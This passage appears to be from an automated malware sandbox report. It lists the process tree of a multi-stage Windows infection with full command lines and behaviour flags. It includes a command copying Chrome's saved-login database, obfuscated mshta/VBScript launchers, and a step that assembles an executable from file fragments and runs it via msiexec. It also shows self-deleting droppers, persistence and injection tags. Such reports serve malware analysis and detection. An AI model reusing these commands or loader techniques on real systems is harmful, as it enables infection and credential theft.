        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1896,10066622340436611766,9168628812902982151,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw868_843468255" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1912 /prefetch:2
        12⤵
        
        PID:3420
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1896,10066622340436611766,9168628812902982151,131072 --lang=ja --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw868_843468255" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --mojo-platform-channel-handle=2776 /prefetch:1
        12⤵
        
        PID:524
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1896,10066622340436611766,9168628812902982151,131072 --lang=ja --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw868_843468255" --mojo-platform-channel-handle=3232 /prefetch:8
        12⤵
        
        PID:7876
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1896,10066622340436611766,9168628812902982151,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw868_843468255" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=1908 /prefetch:2
        12⤵
        
        PID:4516
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1896,10066622340436611766,9168628812902982151,131072 --lang=ja --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw868_843468255" --mojo-platform-channel-handle=1908 /prefetch:8
        12⤵
        
        PID:5228
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1896,10066622340436611766,9168628812902982151,131072 --lang=ja --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw868_843468255" --mojo-platform-channel-handle=2872 /prefetch:8
        12⤵
        
        PID:8300
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1896,10066622340436611766,9168628812902982151,131072 --lang=ja --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw868_843468255" --mojo-platform-channel-handle=1512 /prefetch:8
        12⤵
        
        PID:8096
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1896,10066622340436611766,9168628812902982151,131072 --lang=ja --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw868_843468255" --mojo-platform-channel-handle=2288 /prefetch:8
        12⤵
        
        PID:8684
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1896,10066622340436611766,9168628812902982151,131072 --lang=ja --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw868_843468255" --mojo-platform-channel-handle=2880 /prefetch:8
        12⤵
        
        PID:8500
        
        C:\Users\Admin\AppData\Local\Temp\2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2.exe"
        9⤵
        
        PID:5956
        
        C:\Users\Admin\AppData\Local\Temp\28.exe
        
        "C:\Users\Admin\AppData\Local\Temp\28.exe"
        9⤵
        
        PID:4508
        
        C:\Users\Admin\AppData\Local\Temp\3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3.exe"
        9⤵
        
        PID:1188
        
        C:\Users\Admin\AppData\Local\Temp\Chrome4 8KB.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Chrome4 8KB.exe"
        9⤵
        
        PID:7008
        
        C:\Users\Admin\Pictures\Adobe Films\ybS3o3xy6Gca9lbgcvF8DTmY.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\ybS3o3xy6Gca9lbgcvF8DTmY.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious behavior: MapViewOfSection
        
        PID:6020
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\SysWOW64\cmd.exe"
        8⤵
        Suspicious use of SetThreadContext
        Suspicious behavior: MapViewOfSection
        
        PID:2360
        
        C:\Windows\SysWOW64\cmd.exe
        
        /c del "C:\Users\Admin\Pictures\Adobe Films\ybS3o3xy6Gca9lbgcvF8DTmY.exe"
        9⤵
        
        PID:6384
        
        C:\Windows\SysWOW64\cmd.exe
        
        /c copy "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\Admin\AppData\Local\Temp\DB1" /V
        9⤵
        
        PID:3336
        
        C:\Program Files\Mozilla Firefox\Firefox.exe
        
        "C:\Program Files\Mozilla Firefox\Firefox.exe"
        9⤵
        Executes dropped EXE
        
        PID:6712
        
        C:\Users\Admin\Pictures\Adobe Films\vOX6xhCxIkACCUizpfmcQ_Pi.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\vOX6xhCxIkACCUizpfmcQ_Pi.exe"
        7⤵
        Executes dropped EXE
        Adds Run key to start application
        Checks whether UAC is enabled
        
        PID:5204
        
        C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        8⤵
        
        PID:5756
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c cmd < Benvenuta.wmv
        8⤵
        
        PID:1404
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd
        9⤵
        
        PID:1824
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /V /R "^cumYgySQBgxPdjFKcKawUwBIsAmBYzAvcYxZIAEmtYNfVBRWjWqBCNmzERHNFdSiOXxsRGwVuTWVhjNPJDfwzYUHnqxRTQTNuGAXimtGVt$" Allora.wmv
        10⤵
        
        PID:7688
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com
        
        Altrove.exe.com e
        10⤵
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:816
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e
        11⤵
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:7224
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e
        12⤵
        Suspicious use of SetThreadContext
        
        PID:2220
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e
        13⤵
        
        PID:3944
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e
        14⤵
        
        PID:8064
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e
        15⤵
        
        PID:7956
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e
        16⤵
        
        PID:8016
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e
        17⤵
        
        PID:7208
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e
        18⤵
        
        PID:6400
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e
        19⤵
        
        PID:5640
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e
        20⤵
        
        PID:5544
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e
        21⤵
        
        PID:5064
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e
        22⤵
        Executes dropped EXE
        
        PID:6060
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e
        23⤵
        
        PID:4244
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e
        24⤵
        
        PID:4292
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e
        25⤵
        
        PID:2140
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e
        26⤵
        
        PID:6764
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e
        27⤵
        
        PID:5656
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e
        28⤵
        
        PID:5164
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e
        29⤵
        
        PID:5864
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e
        30⤵
        
        PID:5148
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e
        31⤵
        
        PID:4548
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e
        32⤵
        
        PID:7072
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e
        33⤵
        
        PID:6516
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e
        34⤵
        
        PID:6400
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e
        35⤵
        
        PID:7200
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e
        36⤵
        
        PID:9040
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e
        37⤵
        
        PID:8760
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e
        38⤵
        
        PID:7888
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e
        39⤵
        
        PID:5776
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e
        40⤵
        
        PID:9152
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e
        41⤵
        
        PID:8592
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e
        42⤵
        
        PID:1684
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e
        43⤵
        
        PID:8836
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e
        44⤵
        
        PID:364
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e
        45⤵
        
        PID:8500
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e
        46⤵
        
        PID:8392
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e
        47⤵
        
        PID:9180
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Altrove.exe.com e
        48⤵
        
        PID:3032
        
        C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1
        10⤵
        Runs ping.exe
        
        PID:5176
        
        C:\Users\Admin\Pictures\Adobe Films\6_ppkE_YV8A3XdQSkHEXAVGu.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\6_ppkE_YV8A3XdQSkHEXAVGu.exe"
        7⤵
        Executes dropped EXE
        
        PID:5208
        
        C:\Users\Admin\Pictures\Adobe Films\eKsuuFV6o6UT37M91R2Iu92T.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\eKsuuFV6o6UT37M91R2Iu92T.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:6036
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
        8⤵
        
        PID:3584
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6036 -s 268
        8⤵
        Suspicious use of NtCreateProcessExOtherParentProcess
        Program crash
        
        PID:6424
        
        C:\Users\Admin\Pictures\Adobe Films\J32NfST0RgYHRe3VuYd3_QD0.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\J32NfST0RgYHRe3VuYd3_QD0.exe"
        7⤵
        Executes dropped EXE
        
        PID:4216
        
        C:\Users\Admin\Pictures\Adobe Films\AERehBsLaCLwY6R6lMAuoSbD.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\AERehBsLaCLwY6R6lMAuoSbD.exe"
        7⤵
        
        PID:6712
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VBsCRIPt:cLose( creAteObjecT("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\Pictures\Adobe Films\AERehBsLaCLwY6R6lMAuoSbD.exe"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If """"== """" for %K iN ( ""C:\Users\Admin\Pictures\Adobe Films\AERehBsLaCLwY6R6lMAuoSbD.exe"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )
        8⤵
        Checks whether UAC is enabled
        
        PID:7024
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\Pictures\Adobe Films\AERehBsLaCLwY6R6lMAuoSbD.exe" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If ""== "" for %K iN ( "C:\Users\Admin\Pictures\Adobe Films\AERehBsLaCLwY6R6lMAuoSbD.exe" ) do taskkill -im "%~NxK" -F
        9⤵
        
        PID:6220
        
        C:\Users\Admin\AppData\Local\Temp\8pWB.eXE
        
        8pWB.eXe /pO_wtib1KE0hzl7U9_CYP
        10⤵
        Checks whether UAC is enabled
        
        PID:6888
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VBsCRIPt:cLose( creAteObjecT("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If ""/pO_wtib1KE0hzl7U9_CYP ""== """" for %K iN ( ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )
        11⤵
        
        PID:6152
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If "/pO_wtib1KE0hzl7U9_CYP "== "" for %K iN ( "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" ) do taskkill -im "%~NxK" -F
        12⤵
        
        PID:6700
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbScRIpT: close (crEaTEOBject ("WSCRIPt.SheLl" ). rUn ("C:\Windows\system32\cmd.exe /c EcHO | seT /p = ""MZ"" > 1AQCPNL9.1 &CoPy /b /Y 1AqCPnL9.1 +HxU0.m + HR0NM.yl + _AECH.7+ ThBtZ22Y.U +1MRAv8.M + QZ5UW.aQ+ KKAyEq.00 N3V4H8H.sXy & STARt msiexec.exe -y .\N3V4H8H.SXY " ,0 , TruE ) )
        11⤵
        
        PID:7880
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c EcHO | seT /p = "MZ" > 1AQCPNL9.1 &CoPy /b /Y 1AqCPnL9.1 +HxU0.m + HR0NM.yl+ _AECH.7+ ThBtZ22Y.U +1MRAv8.M + QZ5UW.aQ+ KKAyEq.00 N3V4H8H.sXy & STARt msiexec.exe -y .\N3V4H8H.SXY
        12⤵
        
        PID:7048
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" EcHO "
        13⤵
        
        PID:4992
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" seT /p = "MZ" 1>1AQCPNL9.1"
        13⤵
        
        PID:1036
        
        C:\Windows\SysWOW64\msiexec.exe
        
        msiexec.exe -y .\N3V4H8H.SXY
        13⤵
        
        PID:5580
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill -im "AERehBsLaCLwY6R6lMAuoSbD.exe" -F
        10⤵
        Executes dropped EXE
        Kills process with taskkill
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4756
        
        C:\Users\Admin\Pictures\Adobe Films\K8omH8mG57NUEV8KNvXlv8tl.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\K8omH8mG57NUEV8KNvXlv8tl.exe"
        7⤵
        Executes dropped EXE
        
        PID:6760
        
        C:\Users\Admin\AppData\Roaming\3503258.exe
        
        "C:\Users\Admin\AppData\Roaming\3503258.exe"
        8⤵
        Executes dropped EXE
        Checks whether UAC is enabled
        Drops file in Program Files directory
        
        PID:5820
        
        C:\Users\Admin\AppData\Roaming\248620.exe
        
        "C:\Users\Admin\AppData\Roaming\248620.exe"
        8⤵
        
        PID:7364
        
        C:\Users\Admin\AppData\Roaming\7954434.exe
        
        "C:\Users\Admin\AppData\Roaming\7954434.exe"
        8⤵
        Suspicious behavior: SetClipboardViewer
        
        PID:7452
        
        C:\Users\Admin\AppData\Roaming\8768094.exe
        
        "C:\Users\Admin\AppData\Roaming\8768094.exe"
        8⤵
        
        PID:7340
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Tue097328c1b990.exe
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2364
      - C:\Users\Admin\AppData\Local\Temp\7zSCF3FA1E5\Tue097328c1b990.exe
        
        Tue097328c1b990.exe
        6⤵
        Executes dropped EXE
        
        PID:2600
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Tue0978af55b9.exe
        5⤵
        
        PID:1180
      - C:\Users\Admin\AppData\Local\Temp\7zSCF3FA1E5\Tue0978af55b9.exe
        
        Tue0978af55b9.exe
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3804
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Tue09c6db969ab9.exe
        5⤵
        
        PID:1464
      - C:\Users\Admin\AppData\Local\Temp\7zSCF3FA1E5\Tue09c6db969ab9.exe
        
        Tue09c6db969ab9.exe
        6⤵
        Executes dropped EXE
        
        PID:2220
        
        C:\Users\Admin\AppData\Local\Temp\7zSCF3FA1E5\Tue09c6db969ab9.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCF3FA1E5\Tue09c6db969ab9.exe
        7⤵
        Executes dropped EXE
        
        PID:4528
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Tue09a30919dc5f00.exe
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2324
      - C:\Users\Admin\AppData\Local\Temp\7zSCF3FA1E5\Tue09a30919dc5f00.exe
        
        Tue09a30919dc5f00.exe
        6⤵
        Executes dropped EXE
        
        PID:3036
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbscrIPT: CLosE( creatEobjeCt("WSCRIpt.Shell" ).RUN( "C:\Windows\system32\cmd.exe /R TYPe ""C:\Users\Admin\AppData\Local\Temp\7zSCF3FA1E5\Tue09a30919dc5f00.exe"" > ..\WG1uEEN.EXe && StarT ..\WG1uEEn.Exe -PhwqM9LteEkjDz5gZPyhw9N49u86 & If """" == """" for %b In (""C:\Users\Admin\AppData\Local\Temp\7zSCF3FA1E5\Tue09a30919dc5f00.exe"" ) do taskkill /f /iM ""%~Nxb"" " , 0 , TRUe ) )
        7⤵
        Checks whether UAC is enabled
        
        PID:2980
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /R TYPe "C:\Users\Admin\AppData\Local\Temp\7zSCF3FA1E5\Tue09a30919dc5f00.exe" > ..\WG1uEEN.EXe && StarT ..\WG1uEEn.Exe -PhwqM9LteEkjDz5gZPyhw9N49u86 &If "" == "" for %b In ("C:\Users\Admin\AppData\Local\Temp\7zSCF3FA1E5\Tue09a30919dc5f00.exe" ) do taskkill /f /iM "%~Nxb"
        8⤵
        
        PID:4556
        
        C:\Users\Admin\AppData\Local\Temp\WG1uEEN.EXe
        
        ..\WG1uEEn.Exe -PhwqM9LteEkjDz5gZPyhw9N49u86
        9⤵
        Executes dropped EXE
        Checks whether UAC is enabled
        
        PID:4276
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbscrIPT: CLosE( creatEobjeCt("WSCRIpt.Shell" ).RUN( "C:\Windows\system32\cmd.exe /R TYPe ""C:\Users\Admin\AppData\Local\Temp\WG1uEEN.EXe"" > ..\WG1uEEN.EXe && StarT ..\WG1uEEn.Exe -PhwqM9LteEkjDz5gZPyhw9N49u86 & If ""-PhwqM9LteEkjDz5gZPyhw9N49u86 "" == """" for %b In (""C:\Users\Admin\AppData\Local\Temp\WG1uEEN.EXe"" ) do taskkill /f /iM ""%~Nxb"" " , 0 , TRUe ) )
        10⤵
        Checks whether UAC is enabled
        
        PID:3120
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /R TYPe "C:\Users\Admin\AppData\Local\Temp\WG1uEEN.EXe" > ..\WG1uEEN.EXe && StarT ..\WG1uEEn.Exe -PhwqM9LteEkjDz5gZPyhw9N49u86 &If "-PhwqM9LteEkjDz5gZPyhw9N49u86 " == "" for %b In ("C:\Users\Admin\AppData\Local\Temp\WG1uEEN.EXe" ) do taskkill /f /iM "%~Nxb"
        11⤵
        Executes dropped EXE
        
        PID:2900
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VBscrIpT:cloSE (cREateObJEct( "wsCRipt.SheLl" ).rUn( "Cmd.exe /q /R ecHo | sEt /P = ""MZ"" > ~dWBNpV.F & Copy /b /y ~dWbNpV.F +YsLNPQ.k + 9Jd86KPL.RS + 6VTZU.XA8+CQ3X0._+ 3hAXC.X ..\2GBhNGG.N &sTaRt msiexec.exe /y ..\2GbhNGG.n & DEl /Q * " ,0, TRue))
        10⤵
        Checks whether UAC is enabled
        
        PID:5008
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /q /R ecHo | sEt /P = "MZ" > ~dWBNpV.F &Copy /b /y ~dWbNpV.F +YsLNPQ.k + 9Jd86KPL.RS + 6VTZU.XA8+CQ3X0._+ 3hAXC.X ..\2GBhNGG.N &sTaRt msiexec.exe /y ..\2GbhNGG.n & DEl /Q *
        11⤵
        
        PID:4600
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" ecHo "
        12⤵
        
        PID:5664
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" sEt /P = "MZ" 1>~dWBNpV.F"
        12⤵
        
        PID:5748
        
        C:\Windows\SysWOW64\msiexec.exe
        
        msiexec.exe /y ..\2GbhNGG.n
        12⤵
        Loads dropped DLL
        
        PID:5668
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /iM "Tue09a30919dc5f00.exe"
        9⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2056
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c Tue09c1731fe55c7.exe
        5⤵
        
        PID:2292
      - C:\Users\Admin\AppData\Local\Temp\7zSCF3FA1E5\Tue09c1731fe55c7.exe
        
        Tue09c1731fe55c7.exe
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:3328
        
        C:\Users\Admin\AppData\Local\Temp\7zSCF3FA1E5\Tue09c1731fe55c7.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSCF3FA1E5\Tue09c1731fe55c7.exe
        7⤵
        Executes dropped EXE
        
        PID:4520
    - - C:\Windows\SysWOW64\cmd.exe
        
